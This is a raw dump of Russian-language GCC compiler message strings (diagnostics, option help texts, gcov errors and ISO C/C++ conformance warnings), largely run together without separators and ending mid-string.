%s: ошибка записи файла '%s': %s
%s: найдено определение '%s' в %s(%d)
%s: определение функции не преобразовано
%s: глобальная декларация '%s' не вставлена
%s: имена входных файлов должны иметь суффикс .c: %s
%s: некорректное имя файла: %s
%s: входные файлы компоновки не использованы, поскольку компоновка не выполнялась%s: локальная декларация функции '%s' не вставлена
%s: несколько статических определений '%s' в файле '%s'
%s: не COFF-файл%s: дочерний процесс получил сигнал %d
%s: синтаксис '%s [ -VqfnkN ] [ -i <строка> ] [ файл ... ]'
%s: синтаксис '%s [ -VqfnkNlgC ] [ -B <каталог> ] [ файл ... ]'
%s: ждет: %s
%s: ошибка переименования файла '%s' в '%s': %s
%s: предупреждение: файл '%s' уже сохранён в '%s'
%s: предупреждение: отсутствует файл SYSCALLS '%s'
%s: предупреждение: нет доступа на чтение файла '%s'
%s: предупреждение: отсутствует статическое определение '%s' в файле '%s'
%s: предупреждение: нет доступа на запись в каталог, содержащий '%s'
%s: предупреждение: нет доступа на запись файла '%s'
%s: предупреждение: слишком много списков параметров в декларации '%s' 
%s: предупреждение: взят список параметров из %s(%d) для функции '%s'
%s: был бы преобразован файл '%s'
%s:%d: невозможно восстановление после предыдущих ошибок
%s:%d: декларация функции '%s' имеет разные формы
%s:'%s' содержит дугу, исходящую из выходного блока
%s:'%s' содержит дугу, указывающую на входной блок
%s:'%s' нет входного и/или выходного блоков
%s:блоки для '%s' уже встречались
%s:ошибка открытия файла данных, скорее всего приложение не выполнялось
%s:ошибка открытия графического файла
%s:ошибка открытия исходного файла
%s:испорчен
%s:ошибка открытия выходного файла '%s'
%s:создание '%s'
%s:ошибка записи в выходной файл '%s'
%s:неразрешимый граф для '%s'
%s:функция не найдена
%s:нет строк для '%s'
%s:не файл данных gcov
%s:не графический файл gcov
%s:переполнение
%s:несоответствие профайла для '%s'
%s:исходный файл новее чем файл графа '%s'
%s:штамп не соответствует графическому файлу
%s:неизвестная функция '%u'
%s:версия '%.4s', предпочтительно '%.4s'
%s:версия '%.4s', предпочтительна версия '%.4s'
'флаг ' 'флаг '!'флаг '#''%%%c' не является корректным префиксом оператораоперанд '%%l' не является меткой'%s' не является корректным именем класса'%s' был присвоен '%s', но не был определен при перекомпиляции, или наоборотфлаг '''флаг '('флаг '+'ключ '-%c' должен находиться в начале командной строкиключ '-%c' требует аргументафлаг '-'флаг '0'в операнде с кодом 'B' установлено несколько битовоперанд с кодом 'B' - не константамодификатор 'E'флаг 'I'модификатор 'O'флаг '^'флаг '_'флаг 'a'флаг 'm'операнд с кодом 'o' - не константафлаг 'q'(C)(Сообщения без соответствующей сигнатуры метода(указатель на элемент можно получить только при помощи %<&%E%>)(запрошена инициализация вне класса)(с ключом %<-fpermissive%>, G++ примет данный код, но разрешение использовать недекларированные имена будет отменено в дальнейших версиях)(где-то рядом с инициализацией для %qs)(возможно, подразумевалось %<typename %T::%E%>)(возможно, пропущена точка с запятой после определения %qT)(возможно, некорректное использование макроса %<offsetof%>)(поэтому %<va_arg%> нужно передать %qT, а не %qT)(для каждого файла исходных текстов сообщение будет выдано один раз)
достигнут предел, установленный параметром inline-unit-growthдостигнут предел, установленный параметром large-function-growthдостигнут предел, установленный параметром large-stack-frame-growthдостигнут предел, установленный параметром max-inline-insns-autoдостигнут предел, установленный параметром max-inline-insns-singleключ --resource требует задания -oввод со стандартного ввода возможен только с ключом -E или -xдважды задан ключ -I-ключ -Wformat-extra-args без -Wformat игнорируетсяключ -Wformat-nonliteral без -Wformat игнорируетсяключ -Wformat-security без -Wformat игнорируетсяключ -Wformat-y2k без -Wformat игнорируетсяключ -Wformat-zero-length без -Wformat игнорируетсяключи -Xbind-now и -Xbind-lazy несовместимы-bundle нельзя использовать с -dynamiclib-bundle_loader нельзя использовать с -dynamiclibДля языка Ada нужно передать -c или -S-client_name нельзя использовать с -dynamiclib-current_version допустим только с -dynamiclibключи -f%s и -msdata=%s несовместимыключ -f%s игнорируется для 68HC11/68HC12 (не поддерживается)ключ -f%s для Unicos/Mk проигнорирован (не поддерживается)ключ -f%s проигнорирован для целевой машины (весь код позиционно-независимый)-f%s не поддерживается с командами CONST16ключ -f%s не поддерживается; игнорируется-f%sleading-underscore не поддерживается для этой целевой машиныключи -fPIC и -fpic в данной конфигурации не поддерживаютсяключи -fPIC и -mcall-%s несовместимы-fdata-sections не поддерживается для этой целевой машины-femit-class-file допустим только с -fsyntax-only-ffunction-sections отменен, поскольку профилирование с ним невозможно-ffunction-sections не поддерживается для этой целевой машины-fhandle-exceptions переименован в -fexceptions (и действует по умолчанию)-fjni и -femit-class-file несовместимы-fjni и -femit-class-files несовместимы-force_flat_namespace нельзя использовать с -dynamiclibключи -fpic и -mapcs-reent несовместимы-fprefetch-loop-arrays не поддерживается с -Os-fprefetch-loop-arrays не поддерживается для этой целевой машины-fprefetch-loop-arrays не поддерживается для этой целевой машины-freorder-blocks-and-partition не поддерживает информацию о раскрутке стека-freorder-blocks-and-partition не работает для заданной архитектуры-freorder-blocks-and-partition не работает с исключениями-frepo следует использовать вместе с -c-fstack-protector не поддерживается для этой целевой платформыдля этого процессора -g поддерживается только при использовании GAS,ключ -g игнорируется-g с -mno-apcs-frame может создать проблемы при отладке-install_name допустим только с -dynamiclib-keep_private_externs нельзя использовать с -dynamiclib-m%s в данной конфигурации не поддерживаетсядля -m64 требуется процессор PowerPC64Ключ -maix64 несовместим с архитектурой POWERтребуется -maix64: 64-битные вычисления с 32-битной адресацией не поддерживаютсяКлюч -maix64 требует архитектуры PowerPC64ключ -mapcs-stack-check несовместим с -mno-apcs-frameзначение ключа -max-stackframe=%d вне диапазона 0 - %dключи -mbig-endian и -mlittle-endian несовместимыустаревший ключ -mbnu210 проигнорированключ -mcall-aixdesc требует прямого порядка байтключ -mcmodel= на 32-битных системах не поддерживаетсянедопустимый параметр -mcpu=%s-mdynamic-no-pic отменяет -fpic или -fPIC-mflat-abi=hard или VFP-mglibc и -muclibcips несовместимы-mhard-float не поддерживается-mieee не поддерживается для Unicos/Mk-mieee-with-inexact не поддерживается для Unicos/Mkключ -mlong-double-64 несовместим с -m64ключ -mmultiple не поддерживается для систем little endian-mn без -mh или -ms-mpic-register= не имеет смысла без -fpicключи -mrelocatable и -mcall-%s несовместимыключи -mrelocatable и -mno-minimal-toc несовместимыключи -mrelocatable и -msdata=%s несовместимы-ms2600 без -msключи -msdata=%s и -mcall-%s несовместимы-mshared-library-id= без -mid-shared-library-mshared-library-id=%s не между 0 и %dключи -msingle-float и -msoft-float несовместимы-msoft-float и -mhard_float несовместимыключ -mstring не поддерживается для систем little endian-pg и -fomit-frame-pointer несовместимыключ -pipe не поддерживается-private_bundle нельзя использовать с -dynamiclib128-битные double-значения не поддерживаются для VAX31-битный ABIнабор команд 387 отменен, используется арифметика SSE64-битный ABI<во время инициализации>
<anonymous><built-in><command-line>параметр @catch не является известным типом класса в Objective-CМножитель для настройки верхней границы числа тактов при конвейеризации циклов методом swing modulo schedulingТо же, что -std=c89 (для C) или -std=c++98 (для C++)Пороговое значение среднего числа итераций цикла для применения конвейеризации методом swing modulo schedulingреентерабельный код APCS не поддерживается. Ключ игнорируется.ASSERT_EXPR с тождественно ложным условиеминициализирован указатель AUX для дуги %d->%dИспользовать макроопределения из <файла>Добавить <каталог> в конец основного пути поиска включаемых инфраструктурДобавить <каталог> в конец основного пути поиска заголовковДобавить <каталог> в конец пути поиска системных заголовковДобавить <каталог> в конец пути поиска системных заголовковДобавить <каталог> в начало пути поиска системных заголовковДобавить экранированную MAKE-цельВыполнить экономию общих подвыражений еще и после оптимизации цикловДобавить неэкранированную MAKE-цельДобавить комментарии к ассемблерному кодуИнструментировать многопоточную программу для проверки выхода за границы массивов при помощи mudflapИнструментировать однопоточную программу для проверки выхода за границы массивов при помощи mudflapВыводить отладочную печатьЗамена для -femit-class-fileЗамена для -mflat-abi=hardЗамена для -mfloat-abi=softВыравнивать все меткиВыравнивать циклы по границе 32 байтВыравнивать код и данные по границе 32 битВыравнивать результаты строковых операцийВыравнивать метки, доступные только по командам переходовВыравнивать некоторые значения double по границе двойного словаВыравнивать начало функцийВыравнивать начало цикловВыравнивать для базового типа битового поляВыравнивать переменные по границе 32 битРазрешить битовые поля, пересекающие границу словаКомбинировать условные переходы с другими инструкциямиРазрешать быстрый переход к обработчику сообщенийРазрешить хранение адресов функций на регистрахПолагать, что сопроцессор плавающей арифметики поддерживает 32- и 64-битныеоперацииПри оптимизации циклов предполагать нормальное поведение циклаРазрешить оптимизации плавающих вычислений, которые могут противоречить стандартам IEEE или ISOРазрешить предварительное планирование отложенных командРазрешить более активный спекулятивный перенос команд чтенияРазрешить спекулятивный перенос команд, кроме чтенияРазрешить спекулятивный перенос некоторых команд чтенияРазрешить разные типы для операндов операции '?'Генерировать код с выдачей двух команд на тактАльтернативные соглашения о вызовахКоманды AltiVec и E500 несовместимыАргумент AltiVec передан в функцию без прототипаВсегда проверять, что архивы классов сгенерированы gcjВсегда генерировать дальние вызовыВсегда считать, что битовое поле имеет размер intДополнять диагностические сообщения ключом, который контролирует это сообщениеДобавлять подчёркивания к доступным извне именамВыполнять расширение переменных при развертке цикловРезультат вычисления в %L не определёнРезультат вычисления в %L корректенПереполнение при вычислении в %LОтрицательное переполнение в %LГраницы массива не совпадаютМассивы в операции несоразмерны в %LСсылка на массив выходит за границыКлючи ассемблера
=================

Предполагать использование GASИспользовать большой сегмент TLSПредполагать, что все символы имеют 32-битные значенияПредполагать, что все функции с переменными аргументами имеют прототипыАргументы не могут перекрываться ни друг с другом, ни с глобальными даннымиАргументы могут перекрываться с глобальными данными, но не друг с другомСчитать, что байты имеют прямой порядок бит, а слова - обратный порядок байтПредполагать, что код будет ассемблироваться при помощи GASПредполагать что для компоновки будет применяться GAS ldПредполагать что для компоновки будет применяться HP ldПредполагать возможность прерываний при плавающих операцияхПредполагать, что функции платформы используют JNIПредполагать что результаты вычислений конечны и не NaNГенерировать код для стандартной среды выполнения CПредполагать, что значения double могут быть невыровненнымиПредполагать, что команды pt* не вызывают прерыванийПредполагать циклический перенос при арифметических переполненияхПредполагать малое адресное пространствоПредполагать строгое соблюдение правил перекрытия данных в памятиПредполагать, что символы могут быть неправильнымиСчитать что процессор имеет прямой порядок байт (big endian)Считать что процессор имеет обратный порядок байт (little endian)Предполагать что получатели сообщений Objective-C могут быть пустымиГенерировать код для среды выполнения VxWorks RTPГенерировать код для среды выполнения VxWorks vThreadsПредполагать, что среда запуска использует хэш-таблицу для отображения объекта на его структуру синхронизацииНа верхнем уровне:Заполнять гнезда задержки команд переходаПытаться Выравнивать стек по адресам, кратным указанной степени числа 2Слить идентичные константы по всем единицам компиляцииСлить идентичные константы и константные переменныеРазрешить пре- и пост- автоинкрементацию и автодекреметациюЗапретить пре- и пост- автоинкрементацию и автодекреметациюАвтоматически выравнивать позиции меток для сокращения задержек переходовНе устанавливать предельные диапазоны для команд вызоваИзбегать генерацию вызовов по смещению от pc, использовать косвенные вызовыИзбегать спекулятивной загрузки из памяти для обхода аппаратной ошибкиблок %i не может выдавать исключений, но имеет EH-дугив последнем операторе блока %i некорректно установлен региондля блока %d не установлен флаг BB_RTLНекорректный базовый тип ввода-вывода (%d)Некорректный байт-код.
Некорректное имяНекорректная операция с указателем в PURE процедуре в %LЕсли число кандидатов менее данного значения, при оптимизации индуктивных переменных рассматриваются все кандидатыЕсли число использований индуктивных переменных больше данного параметра, то их оптимизация не производитсяВерхняя граница размера выражений при анализе эволюции скалярных значений в циклахГраница цены выражения для вычисления числа итерацийМаксимальное число итераций, при вычислении которого будет применен метод "грубой силы"Стоимость переходов (1-5, произвольные единицы)Выполнено переходов:%s из %d
Для полей Objective-C не будут выполняться конструкторы и деструкторы C++заданный процессор не поддерживает набор команд x86-64Не выполнено необходимое условие в коде CRIS: Вызывать функцию библиотеки для деления целыхВызывать mcount для профилирования перед прологом функцииВызов %qD с атрибутом sseregparm без задания SSE/SSE2Вызов %qT с атрибутом sseregparm без задания SSE/SSE2Выполнено вызовов:%s из %d
Не удалось преобразовать %s в %s в %LНе удалось открыть выходной файл %s.
Заставлять gas печатать статистику tomcatИзменять только младшие 8 бит указателя стекаИзменить ABI для работы с инструкциями двойных словИзменить дальность просмотра вперёд в планировщикеИзменить максимальную длину условно выполняемого путиЗадать число временных регистров для условно выполняемого путиИзменять указатель стека без отмены прерыванийИзменять при выдаче конкретизаций шаблоновПроверить код на наличие синтаксических ошибок и завершить работуПроверять результат newВыбрать кодировку входных файлов (по умолчанию из locale)Cirrus: генерировать команды NOP во избежание некорректного комбинирования командМодель кода: small, medium, large+Генерировать код для вариантов процессора ARCГенерировать код для вариантов M16CГенерировать код для вариантов M32CГенерировать код для вариантов M32CMГенерировать код для вариантов R8CГенерировать код с 32-битными указателямиГенерировать код с 64-битными указателямиКомпилировать для ETRAX 100 (CRIS v8)Компилировать для ETRAX 4 (CRIS v3)Использовать ABI для V8+Компилировать для 68HC11Компилировать для 68HC12Компилировать для 68HCS12Компилировать для Thumb, а не для ARMКомпилировать для m32rКомпилировать для m32r2Компилировать для m32rxКомпилировать для процессора v850Компилировать для процессора v850eКомпилировать для процессора v850e1Компилировать весь модуль целиком (а не по функциям)Компилировать в режиме 16-битных целыхКомпилировать в режиме 32-битных целыхКомпонент в %C должен иметь аттрибут POINTERПараметры конфигурации: %s
Более подробно следовать семантике IBM XLCКомпилировать в соответствии с ISO 1990 CКомпилировать в соответствии с ISO 1990 C с дополнениями от 1994Компилировать в соответствии с ISO 1990 C с расширениями GNUКомпилировать в соответствии с ISO 1998 C++Компилировать в соответствии с ISO 1998 C++ с расширениями GNUКомпилировать в соответствии с ISO 1999 CКомпилировать в соответствии с ISO 1999 C с расширениями GNUСчитать, что доступ к байтным данным медленныйСчитать тип 'int' 16-битнымСчитать тип 'int' 32-битнымВыражение %C должно быть константойнекорректный тип атрибута ConstantValue поля '%s'Снять зависимости между различными использованиями одной и той же переменнойВыбрать режим прерываний IEEEВыбрать режим округленияВыбрать точность локализации плавающих прерыванийпреобразование из %s в %s в %LКонвертировать строковые и char-константы в указанную <кодировку>Широкие символы и строки широких символов конвертировать в заданную <кодировку>Преобразовывать вещественные константы к значениям одинарной точностиЦена за команду умноженияЦена для инструкции gettrСоздать приложение с интерактивным графическим интерфейсомСоздавать канонические индуктивные переменные в циклахСоздать консольное приложениеСоздать файлы данных для "gcov"DW_LOC_OP %s не реализованДанные с размером, превышающим данное значение при генерации кода для medium-модели x86-64 будут размещаться в разделе .ldataОткладывать "на потом" выталкивание аргументов из стека после вызовов функцийОпределить <макрос> со значением <знач.>. Если задан только <макрос>, <знач.> считается равным 1Удалять ненужные сравнения указателей с нулемНе рекомендуется; используйте -std=c99Устаревший ключ, теперь следует использовать -std=gnu99Устаревший ключ; используйте -std=iso9899:1999Устаревший ключ. Используйте -misel/-mno-isel в качестве заменыУстаревший ключ. Используйте -mspe/-mno-spe в качестве заменыУстаревший ключ. Используйте -mvrsave/-mno-vrsave в качестве заменыУстаревший ключ. Игнорируется.Ключ устарел. используйте -Os в качестве заменыЭтот ключ устарел, используйте --classpathЗадает стоимость зависимостей между командамиИсключить использование плавающих регистровНе использовать индексную адресациюОтменить оптимизации, влияющие на поведение сигнализирующих NaN по IEEEОтменить оптимизации, предполагающие стандартное округление вещественных значенийИсключить использование space-регистровЗапретить прямые вызовы глобальных функцийУдалить неиспользуемые виртуальные функцииВыявлять pure и const функцииВыявлять неадресуемые статические переменные, доступные только для чтенияПоказать статистику времени компиляцииПредставить содержимое файла класса в удобной для чтения форме.

Показать статистику компиляцииПоказать версию компилятораВыдать эту информациюИнтервал табуляции при выдаче сообщений по столбцамделение на ноль в %LНе предполагать использование GASНе использовать большой сегмент TLSНе предполагать наличие стандартных библиотек C и функции "main"Не исключать использование space-регистровНе удалять комментарииНе удалять комментарии при макроподстановкахНе отображать время компиляции функцийНе использовать режимов адресации с побочными эффектамиНе размещать целые комплексные константы в read-only-памятиНе генерировать прологи и эпилоги функцийНе генерировать директивы #строкаНе генерировать директивы .sizeНе генерировать одну выходную точку для каждой функцииНе генерировать команды умножения с накоплениемНе генерировать команды чтения/записи с изменением адресного регистраНе генерировать инструкции табличных переходовНе генерировать поточно-ориентированный код для инициализации локальных статических переменныхНе включать в код деление целыхНе включать в код вычисление квадратного корняНе загружать PIC-регистр в прологах функцийне отмечать переключение ABI в e_flagsНе помещать плавающие константы в TOCНе помещать константы вида "символ+смещение" в TOCНе предопределять системные макросы и макросы GCCНе считать переходы затратнымиНе задавать стандартный стартовый адрес программы 0x100Не размещать неинициализированные глобальные данные в общих блокахНе искать системные заголовки в стандартных каталогах поиска (но искать в каталогах, заданных при помощи -isystem)Не искать системные заголовки C++ в стандартных каталогахНе подавлять предупреждения от системных заголовковНе выравнивать код и данные, доступные только на чтениеНе выравнивать данные в стекеНе выравнивать данные, доступные на записьНе использовать команды MIPS-3DНе использовать систему команд POWERНе использовать систему команд PowerPCНе использовать плавающую арифметику VAXНе использовать функцию сброса кеша перед вызовом стекового трамплинаНе использовать формирование адресов для глобальных регистровВ обычных командах не использовать коды условийНе использовать прямую адресацию для псевдорегистровНе использовать аппаратный указатель стекаНе использовать аппаратную плавающую арифметикуНе использовать аппаратную плавающую арифметикуНе использовать аппаратные средства quad-плавающей арифметикиНе использовать встроенные шаблоны для копирования памятиНе использовать команды push для сохранения аргументов функцийНе использовать команды работы с битовыми полямиНе использовать команды calltНе использовать невыровненные ссылки на памятьНе предупреждать об использовании "long long" с -pedanticНе предупреждать об использовании макросов с переменным числом аргументов с -pedanticВыполнить полную оптимизацию перемещения регистровНе выравнивать элементы кода или данныхНе выделять для значений типа float и double регистры повышенной точностиНе вызывать функции сброса кэшаНе вызывать прерывание по сбросу кэшаНе оптимизировать блочные пересылкиНе использовать P-мнемонику для статически предсказанных переходовНе предупреждать об использовании расширений MicrosoftОшибки соответствия трактовать как предупрежденияВывести декларации в файл .declВыдать внутреннюю информацию компилятора в файлНе использовать регистр BK при распределении регистровв EH-дуге %i->%i имеются дублированные регионыотсутствует EH-дуга %i->%iв EH-дуге %i->%i не установлен флаг EHархитектура ESA/390Генерировать 16-битные перемещения в области малых данныхГенерировать 32-битные перемещения в области малых данныхГенерировать IEEE-совместимый код без искл. ситуаций inexactВыдавать граф вызововГенерировать код для ISA расширения byte/wordГенерировать код для ISA-расширения countingГенерировать код для ISA-расширения fp move и sqrtГенерировать код для ISA-расширения motion videoГенерировать код с явными директивами перемещенияcommon-символы считать слабыми (weak)Выдать информацию о перекрестных ссылкахВыдать информацию о декларациях в <файл>Генерировать непосредственные переходы в локальные функцииВызывать функции с использованием глобальной таблицы смещений при генерации PIC кодаГенерировать неявные конкретизации inline-шаблоновГенерировать неявные конкретизации шаблоновГенерировать косвенные переходы в локальные функцииГенерировать длинные последовательности чтения/записиГенерировать rdval вместо rduniq для указателя потокаНе удалять даже неиспользуемые статические константные переменныеГенерировать stop-биты до и после расширенных операторов volatile asmВыводить в ассемблерный код подробную отладочную информациюВключить отладочную информацию Dwarf 2 посредством GNU-ассемблераВыполнить полный набор оптимизаций удаления избыточного кода на древовидном  представленииВключить режим Function Descriptor PICПоддерживать разделяемые библиотеки на основе IDПоддерживать синтаксис исключений и синхронизации Objective-CПодключить поддержку времени выполнения для обработки исключений Objective-C setjmpВключить поддержку PIC при сборке библиотекВыполнить погружение SSA-кода на древовидном представленииВыполнить удаление мертвого SSA-кода на древовидном представленииВключить SSA-оптимизацию  распространения констант на древовидном представленииВключить оптимизации SSA-PRE на древовидном представленииВключить код трассировки TPF-OSВключить все предупреждения -Wunused-Выполнить машинно-зависимые оптимизации перед вторым планированиемВключить проверку корректности присваивания для элементов массиваВключить автоматическую конкретизацию шаблоновВключить отладочную печатьВключить генерацию базового кода для профилированияАктивировать ключи генерации данных профилирования для выполнения соответствующих оптимизацийАктивировать ключи оптимизаций, основанных на данных профилированияИспользовать условное выполнение и других инструкций кроме moves/sccИспользовать условные команды moveВыполнять распространение копий в древовидном представленииВыполнить оптимизацию удаления мертвых команд записи в памятьВключить отладочную выдачуВключить оптимизации доминаторовВыдать дампы от различных проходов компиляцииВключить раннее размещение stop-битов для улучшения планированияАктивировать обработку исключительных ситуацийВключить профилирование функцийИспользовать плавающие команды multiply/add и multiply/subtractВключить инструкции умножения с накоплением с нечётким результатомВключить сборку мусора (GC) в программах на Objective-C/Objective-C++Оценивать вероятности переходовВстраивать PLT в вызовы функцийВключить оптимизации выравнивания метокВключить линейные трансформации циклов на древовидном представленииВключить оптимизации компоновкиВключить ключ -relax при компоновкеИспользовать ключ --relax при компоновкеВключить копирование заголовков циклов в древовидном представленииВыполнить вынесение инвариантных вычислений за пределы циклов на древовидном представленииВключить оптимизации циклов на древовидном представленииВыполнить векторизацию циклов на древовидном представленииСоздавать версии циклов при векторизацииВыполнить машинно-зависимые оптимизацииВключить все основные виды предупрежденийВключить оптимизацию вложенных условно выполняемых путейВключить оптимизацию кода инициализации статических классовВключить оптимизацию &&/|| в условно выполняемых путяхВключить дополнительную диагностикуПланировать команды в рамках нескольких блоковРазмещать данные в отдельном сегментеПрисваивать результат сравнения к регистру общего назначенияВключить проверку стека зондированиемВключить поддержку больших объектовУстановить нормальный режимВключить использование коротких команд загрузкиТрадиционное препроцессированиеИспользовать GPREL для данных только на чтение в режиме FDPICВключить использование sdata/scommon/sbssВключить подробную выдачуВключить/отменить обычное планирование для конвейеризованных цикловВключить поддержку разделяемых библиотек на основе IDВыполнить оптимизацию перемещения регистровконец списка поиска
Реализовать семантику управления доступом для элементов классовИспользовать строгое выравниваниеошибка:Отрицательный счётчик числа выполненийЗакончить работу при первой обнаруженной ошибкеОжидается другая размерность массива в определении %CВ определении в %C ожидается формальный список аргументовОжидалось целочисленное значениеОжидалась открывающая скобкаОжидалось имяОжидалась закрывающая скобкаОжидалась строкаЭкспортировать функции, даже если возможна их inline-подстановкаРасширение: повторная инициализация '%s' в %Lвключены прерывания сопроцессора плавающей арифметикиОшибка при повторной попытке загрузки:Фатальная ошибка: Следовать соглашениям о вызовах Renesas (бывашая Hitachi) для SuperHСледовать требованиям компоновки EABIДля получения инструкций по подготовке отчётов об ошибках прочтите:
%s.
Для внутренней библиотеки: передавать все параметры на регистрахВыравнивать функции по границе 4 байтУстановить для "wchar_t" тип "unsigned short"Функция '%s' в %C уже имеет тип %sВыравнивать функции по адресам, кратным указанной степени числа 2ключ -C или -CC допустим только с -EGCC поддерживает только %u вложенных областей видимостиглобальная экономия общих подвыражений (GCSE) отключенаВерсия GMP %s, версия MPFR %s.
Генерировать код 32-битный код без плавающий инструкций для SHmediaГенерировать 32-битный код для SHmediaГенерировать 32-битный кодГенерировать 32-битный код i386Генерировать 64-битный код для SHmediaГенерировать 64-битный кодГенерировать 64-битный код x86-64Генерировать APCS-совместимые кадры стекаСгенерировать C-заголовок описаний, специфических для целевой платформыГенерировать код двойной плавающей точности GFLOATГенерировать код H8/300HГенерировать код H8SГенерировать код H8S/2600Генерировать код H8SXГенерировать код для ILP32Генерировать код для LP64Генерировать код PA1.0Генерировать код PA1.1Генерировать код PA2.0 (требуются бин. утилиты 2.10 или старше)Генерировать код SH1Генерировать код SH2Генерировать код для SH2a без FPUГенерировать код SH2aГенерировать код SH2eГенерировать код SH3Генерировать код SH3eГенерировать код для SH4 без FPUГенерировать код SH4Генерировать код для SH4a без FPUГенерировать код SH4aГенерировать SH4al-dsp кодГенерировать команды SPE SIMD на E500Генерировать инструкции VRSAVE при генерации кода AltiVecГенерировать директиву #строка, указывающую на текущий рабочий каталогГенерировать вызов abort, если в noreturn-функции выполняется возврат управленияГенерировать одну выходную точку для каждой функцииГенерировать код для прямого порядка байт (big endian)Генерировать код для прямого порядка байт (big endian)Генерировать косвенные вызовы, если нужноГенерировать код проверки ссылок по NULL-указателямГенерировать код для GNU-ассемблераГенерировать код для GNU-ассемблера (gas)Генерировать код для компоновщика GNUГенерировать код для среды выполнения GNUГенерировать код для ассемблера ISA уровня NГенерировать код для среды выполнения NeXT (Apple Mac OS X)Генерировать код для UNIX-ассемблераГенерировать код для 5206eГенерировать код для 520XГенерировать код для 528xГенерировать код для 5307Генерировать код для 5407Генерировать код для 68000Генерировать код для 68020Генерировать код для 68030Генерировать код для 68040Генерировать код для 68040 без новых командГенерировать код для 68060Генерировать код для 68060 без новых командГенерировать код для 68302Генерировать код для 68332Генерировать код для 68851Генерировать код для DLLГенерировать код для cpu32Генерировать код для 11/10Генерировать код для 11/40Генерировать код для 11/45Генерировать код для прямого (big endian) порядка байтГенерировать код для функций даже при 100%% inline-подстановкеГенерировать код для указанного процессораГенерировать код для больших переключателейГенерировать код для обратного (little endian) порядка байтГенерировать код для старой выполняющей BSS PLTГенерировать код для сборщика мусора BoehmГенерировать код для M*Core M210Генерировать код для M*Core M340Генерировать код для указанной системы команд (ISA)Генерировать код для указанного процессора или версии процессораГенерировать код для обратного (little endian) порядка байтГенерировать код для выполняемых файлов (а не разделяемых библиотек)Генерировать код для быстрого возврата к отладкеГенерировать код в соответствии с заданным ABIГенерировать код с использованием плавающих инструкций 68881Генерировать код для проверки выхода за границы массивовГенерировать код для проверки исключительных ситуацийГенерировать код для использования не выполняющихся PLT и GOTГенерировать библиотечные вызовы для плавающих операцийГенерировать код без GP-регистраГенерировать определения препроцессора для серверного ввода-выводаГенерировать определения препроцессора для ввода-вывода рабочей станцииГенерировать отладочную информацию в формате COFFГенерировать отладочную информацию в формате DWARF версии 2Генерировать отладочную информацию в формате STABSГенерировать отладочную информацию в формате VMSГенерировать отладочную информацию в формате XCOFFГенерировать отладочную информацию в расширенном формате по умолчаниюГенерировать отладочную информацию в формате по умолчаниюГенерировать отладочную информацию в расширенном формате STABSГенерировать отладочную информацию в расширенном формате XCOFFГенерировать код SH2a с одинарной точностью по умолчаниюГенерировать код SH4 с одинарной точностью по умолчаниюГенерировать по умолчанию код SH4a одинарной точностиГенерировать код так, чтобы остаток от деления имел знак делителя (а не делимого)Генерировать быстрые косвенные вызовыГенерировать код для плавающей арифметики используя заданный набор командГенерировать плавающие команды умножения с накоплениемИспользовать команды умножения с накоплениемВыполнять inline-подстановку кода для плавающего деления, оптимизировать по латентностиВыполнять inline-подстановку кода для плавающего деления, оптимизировать по пропускной способностиВыполнять inline-подстановку кода для целочисленного деления, оптимизировать по латентностиВыполнять inline-подстановку кода для целочисленного деления, оптимизировать по пропускной способностиГенерировать inline-подстановку sqrt, оптимизированную по латентностиГенерировать inline-подстановку sqrt, оптимизированную по пропускной способностиСоздавать элементы класса во время выполненияГенерировать команды iselГенерировать ленивый поиск классов (при помощи objc_getClass()) для использования в режиме Zero-LinkГенерировать код для обратного порядка байт (big endian)Генерировать код для обратного порядка байт (little endian)Генерировать команды множественного чтения/записиГенерировать команды чтения/записи с изменением адресного регистраГенерировать зависимости для makeГенерировать make-зависимости и компилироватьГенерировать обычный кодГенерировать только код SH2a с одинарной точностьюГенерировать только код SH4 с одинарной точностьюГенерировать только код SH4a одинарной точностиГенерировать код относительно pcДобавлять фиктивные правила для всех заголовочных файловГенерировать позиционно-независимый код для выполняемых модулей, если возможно (режим large)Генерировать позиционно-независимый код для выполняемых модулей, если возможно (режим small)Генерировать позиционно-независимый код, если возможно (режим large)Генерировать позиционно-независимый код, если возможно (режим small)Генерировать команды предвыборки элементов массивов, если они поддерживаютсяГенерировать реентерабельный PIC-кодГенерировать информацию о типах, доступную во время выполненияГенерировать самоперемещаемый кодГенерировать sin, cos, sqrt для FPUГенерировать строковые команды для блочных пересылокГенерировать unwind-таблицы, корректные на начало каждой командыПрисваивать переходам цену по умолчаниюДобавлять в начало внешних символов подчеркиваниеВыдавать местоположение источника сообщения один раз или для каждой строки (для многострочных сообщений)Внутренняя ошибка: использование emit_insn вместо emit_jump_insn:
ID разделяемой библиотеки, которая будет созданав ISO C операции %<++%> и %<--%> для комплексных типов не поддерживаютсяв ISO C не поддерживается использование %<~%> для обозначения операции комплексного сопряженияISO C не поддерживает целочисленные комплексные типыISO C не поддерживает %<complex%> как эквивалент %<double complex%>ISO C не поддерживает безымянные структуры и объединенияв ISO C операторы вида %<goto *expr;%> запрещеныв ISO C присваивание с преобразованием указателя на функцию в тип %<void *%> запрещенов ISO C приведение нескалярного типа к тому же типу запрещенов ISO C приведение к типу объединения запрещенов ISO C сравнение указателя на функцию с указателем %<void *%> запрещенов ISO C запрещены условные выражения, с альтернативами типа %<void *%> и указатель на функциюв ISO C запрещены условные выражения, где только одна из альтернатив имеет тип voidв ISO C функции с квалификаторами const и volatile запрещеныISO C запрещает преобразование указателя на функцию к указателю на объектISO C запрещает преобразование указателя на объект к указателю на функцию в ISO C упреждающие декларации параметров запрещеныв ISO C инициализация с преобразованием указателя на функцию в тип %<void *%> запрещенаISO C разрешает сравнение указателей на функции только на равенство/неравенствов ISO C передача аргумента %d функции %qE с преобразованием указателя на функцию в тип %<void * %> запрещенав ISO C употребление квалификаторов в описании типа функции запрещенов ISO C возврат результата с преобразованием указателя на функцию в тип %<void *%> запрещенв ISO C индексирование %<register%>-массивов запрещенов ISO C массив %qs нулевой длины недопустимв ISO C преобразование аргумента к типу объединения запрещенов ISO C значения перечислимого типа ограничены диапазоном типа %<int%>ISO C++ не поддерживает назначенные инициализаторыISO C++ не разрешает определять %<%T::%D%> как %<%T::%D%>ISO C++ не поддерживает %s между указателем %<void *%> and и указателем на функциюISO C++ запрещает конструкции в фигурных скобках внутри выраженийISO C++ запрещает использование %<::main%> из программыISO C++ не поддерживает приведение типа указателя на функцию к указателю на объектISO C++ не поддерживает приведение к типу массива %qTISO C++ не поддерживает сравнение между указателем и целымв ISO C++ составные литеральные конструкции запрещеныISO C++ не поддерживает вычисляемые gotoISO C++ запрещает декларации %qs без типаISO C++ запрещает инициализацию внутри класса неконстантного статического элемента %qDISO 